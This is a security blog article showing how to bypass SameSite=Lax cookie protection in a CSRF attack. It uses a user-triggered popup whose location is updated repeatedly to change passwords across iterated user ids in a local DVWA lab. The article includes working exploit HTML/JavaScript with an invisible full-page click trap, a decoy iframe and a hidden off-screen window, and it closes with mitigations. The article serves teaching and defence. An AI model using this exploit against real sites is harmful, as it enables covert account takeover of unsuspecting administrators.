In order to prevent CSRF (Cross-Site Request Forgery) attacks, security best practices such as those of OWASP recommend the use of a synchronization token model or anti-CSRF token.
The absence of a token does not necessarily lead to vulnerability, and several factors can make exploitation difficult or mitigate the impact:
- Setting the
SameSite
attribute toLax
orStrict
on the session cookie. - Use of JSON or other data formats.
- Use of methods other than
GET
orPOST
.
Setting the SameSite
attribute to Lax
is what will interest us in this article.
This article shows how a CSRF attack can be used to make multiple cross-origin requests, despite the session cookie being protected by the SameSite
attribute.
The tests were carried out on Firefox 126.0 (64-bit) and Chrome 124.0 under Linux.
Article is also available in french 🇫🇷
SameSite reminder
The SameSite
attribute controls whether a cookie is sent with cross-origin / cross-site requests, offering protection against CSRF attacks.
Mozilla defines the origin of a request as follows:
Two URLs have the same origin if the protocol, port (if specified), and host are the same for both. The following table gives examples of origin comparisons with the URL http://store.company.com/dir/page.html:
URL | Result | Reason |
---|---|---|
http://store.company.com/dir2/other.html | Success | Only the path differs |
http://store.company.com/dir/inner/another.html | Success | Only the path differs |
https://store.company.com/secure.html | Failure | Different protocols |
http://store.company.com:81/dir/etc.html | Failure | Different Ports |
http://news.company.com/dir/other.html | Failure | Different hosts |
The SameSite
attribute enforces restrictions on cross-origin requests. The values of this attribute are as follows:
Scrict
: no cross-origin request allowed, clicking on a link will not send the cookie concernedLax
: cross-origin request allowed for the GET method and only the query resulting from a Top-level navigation performed by the user, for example by clicking on a link.None
: no restriction
If this attribute is not set, modern browsers increasingly tend to treat the cookie with the value Lax. This behavior is not generalized, however, due to potential side effects.
Scenario
- An application has set
SameSite=Lax
on the session cookie; - The endpoint
/vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change
is an administrator feature for changing a user’s password on the application; - The
id
parameter identifying the user is iterable, but not predictable; - There is no request for a second factor or the current password on the password change form.
A classic CSRF attack would be to send a link to an administrator pointing to /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change
with the id
parameter corresponding to the user to be changed.
However, in this case, it is not possible to determine the identifier associated with the user you wish to modify. The id
parameter is, however, iterable, so that by incrementing the identifier, we can find the desired user.
It is therefore necessary to carry out several queries to find the right id
parameter.
In a phishing scenario, a user will probably only click on one of the links sent, so the link target must allow multiple queries.
For the proof-of-concept, I used a version of DVWA, modifying a few files and parameters. If you wish to reproduce my environment, the modifications are detailed at the end of the article in the "Test application used" section.
Wrong solution – Multiple images
How do you make several GET requests from the opening of a single page?
You might think that AJAX or Fetch calls are a good idea, but browsers place additional restrictions on these functions, so it’s better to use form submissions or other "natural" navigation actions.
For example, Firefox can block cross-origin cookies via its Enhanced Tracking Protection.
Using images, with our payload as the source, might seem a good idea, as a <img />
tag seems harmless. Let’s test with the following HTML file :
<html>
<body>
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=5&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=4&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=3&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=2&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=1&Change=Change">
</body>
</html>
If a logged-in administrator on the target site opens a page containing the above code, 5 GET requests will indeed be performed:
However, the cookie is not sent with these requests:
This is easily explained if you read the Firefox documentation on the subject:
Lax
: The cookie is not sent on cross-site requests, such as calls to load images or iframes, but is sent when a user navigates to the original site from an external site (for example, if they follow a link).
So we’ll have to come up with something else!
Solution
The aim is to phish a connected user to a page under our control, so that this page makes multiple GET requests to /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change
, iterating over the id
parameter.
The following actions are called top-level navigation and enable a GET request to be made with cookies configured with SameSite=Lax
:
- Manual click on a link ;
- Redirect by modifying the
Window.location
property; - Sending a form using the GET method.
The problem with these 3 methods is that they will redirect our page to the page of the targeted application. It will then not be possible to make any further GET requests.
To overcome this problem, we’re going to edit the Window.location
property, but on a Window object other than the malicious page used, in order to avoid redirection.
The call to window.open(url,target,windowFeatures)
is used to load a specific resource in a browsing context (a tab, window or iframe). The return of this call is a Window
object as desired.
Below is the source code for the page that will open a new tab to our target and update the location
property in order to perform multiple GET requests:
<html>
<h1>CSRF pop-up PoC</h1>
<script>
const pwd = "toto";
const url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
var id = 100;
var popup = window.open(url+id,"_blank");
console.log(popup);
function postLoop() {
setTimeout(function(){
if (id > 1){
id--;
console.log("Update location attribute for id: "+id);
popup.location = url+id ;
postLoop();
}
}, 500);
}
postLoop();
</script>
</html>
But why update the
location
property and not just open lots of tabs?
Several reasons:
- Opening 1 tab or window is already not very discreet, so opening 50…
- The browser will prevent this. In my tests, Firefox allowed me to open 20 tabs before displaying a warning (and blocking all other openings):
Well, let’s test the above PoC on our application… result?
Gone are the days when opening our favorite shady sites would open up a whole host of ads with highly relevant content! Unless explicitly authorized, pop-ups are blocked on modern browsers (and thank you).
There are, however, events that allow pop-ups to be opened without being blocked: change click dblclick auxclick mousedown mouseup pointerdown pointerup notificationclick reset submit touchend contextmenu
, but these events require a user action.
Here, we’ll :
- Listen for the
click
event on a button to open our window and get aWindow
object to update thelocation
property. - Use CSS so that our button fills the entire page and is invisible.
- Add an iframe pointing to the legitimate application page, so as not to alert the user (assuming the
X-Frame-Options
header is not returned by the targeted site). - Add options to minimize the visibility of the window opened after the user click.
The modified code is as follows:
<html>
<style>
/* Style so that the button takes up the entire page */
#openButton {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
z-index: 999; /* Make sure to be above other elements */
opacity: 0; /* invisible button */
cursor: default; /* Show a classic pointer*/
}
</style>
<!-- Iframe to make the user think they're on an application page -->
<body>
<iframe width="100%" height="100%" frameborder="0" src="http://127.0.0.1:4280/index.php"></iframe>
<!-- The button you want the victim to click -->
<button id="openButton">Open Link</button>
<!-- Intercept the event on the button click to open a pop-up without warning -->
<script>
document.getElementById('openButton').addEventListener('click', function(event) {
const pwd = "CSRF_succeed"
var url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
var id = 100;
var features = 'width=1,height=1,left=10000,top=10000,toolbar=no,location=no,status=no,menubar=no,scrollbars=no';
var popup = window.open(url+id,'_blank',features);
// regular modification of popup location property
// to perform multiple GET requests
console.log(popup);
console.log(popup.location);
function getLoop() {
setTimeout(function(){
if (id > 1){
id--;
console.log("update open location to id "+id);
popup.location = url+id ;
getLoop();
}
}, 100);
}
getLoop();
});
</script>
</body>
</html>
Let’s test this, simulating our attack:
We can see the following:
- The user logs on to the DVWA application;
- He opens a new window and navigates to our link hosting our payload (we simulate phishing);
- When clicked, the
location
property of the window is quickly updated in the console; - The open window was on a second screen and very small, making it quite invisible to the user;
- Expanding this window reveals that the last request updated the password, as can be seen by logging out of the application and then trying to log in with the old password.
Note: ways of hiding or minimizing the open window vary from browser to browser.
To go further
Be (a little) more discreet
In the PoC video above, the window is left open so that you can enlarge it to see the password change. It is of course possible to close it after making the requests, and also to redirect our initial malicious page to the legitimate site.
We can modify our getLoop
function by adding an else
condition to handle the end of our requests:
function getLoop() {
setTimeout(function(){
if (id > 1){
id--;
console.log("update open location to id "+id);
popup.location = url+id ;
getLoop();
}else{
// close our window & redirect the current page
popup.close();
window.location = "http://127.0.0.1:4280/index.php";
}
}, 10);
}
"Too bad, only GET requests!"
There are workarounds that allow requests to be made using other methods. In particular, Web frameworks that support method overloading. For example, with Symfony, it’s possible to specify a _method
parameter that will indicate the actual method used.
I won’t go into detail on these points, as many articles already explain them very well. The article Bypassing Samesite Cookie Restrictions with Method Override lists some of the Web frameworks that support method override.
PortSwigger has also set up a lab to test this behavior.
Finally, in a simpler way, some Web applications retrieve parameter data passed, regardless of whether they are passed in the request body via a POST method or in url via GET. Here are a few examples:
- PHP: superglobal variable
$_REQUEST["param"]
; - Java (Spring Boot): the
getParameter("param")
method on aHttpServletRequest
object;
Correction
How can I protect myself against this attack? The best solution is to implement an anti-CSRF token, following the best practices of OWASP. However, this may require additional development, which is not necessarily obvious if the technology used does not offer a ready-made solution.
Alternative solutions can be implemented first. In the following solutions, it is assumed that the session cookie always has the SameSite
attribute set to Lax
:
- Cookie with
SameSite
option atStrict
: Effective, but will impact usability as no cross-site requests will be allowed with cookies, even redirects or clicking on links; - Use methods other than GET: The session cookie will not be transmitted thanks to the
SameSite
attribute toLax
. - Impose a 2nd factor for sensitive actions, such as the user’s current password.
Test application used
The application used for the PoC is DVWA.
On line 54 of the DVWA/dvwa/includes/dvwaPage.inc.php file, the dvwa_start_session
function is modified to set the value of the SameSite
attribute to Lax
:
else {
$httponly = false;
$samesite = "Lax";
}
On the password change page, we add a check of the identifier passed in parameter, which must correspond to the logged-in user. To do this, we modify the DVWA/vulnerabilities/csrf/source/low.php file:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
$id_input = $_GET['id'];
$current_user = dvwaCurrentUser();
// get current user id and check if supplied id match
$query = "SELECT `user_id` FROM users WHERE user= '" . $current_user . "';";
$res = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"])) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$user_id = mysqli_fetch_assoc($res)['user_id'];
$html .= "<pre> id from DB : ".$user_id. "</br>ID provided: ".$id_input."</br></pre>";
// Do the passwords match and user id match?
if( $pass_new == $pass_conf && $user_id == $id_input) {
[no modification]
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords or id did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
You can also modify the form on line 62 of the DVWA/vulnerabilities/csrf/index.php file to add the id
field to the password change request:
$page[ 'body' ] .= "
New password:<br />
<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\"><br />
Confirm new password:<br />
<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\"><br />
ID of account:<br />
<input type=\"text\" AUTOCOMPLETE=\"off\" name=\"id\"><br />
<br />
<input type=\"submit\" value=\"Change\" name=\"Change\">\n";
Once the changes have been made, we can build the images and launch the containers. The command run in the DVWA root folder: sudo docker-compose up -d --build
.
Then we change the application’s security level from the interface to Low so that the application uses the modified password change functionality: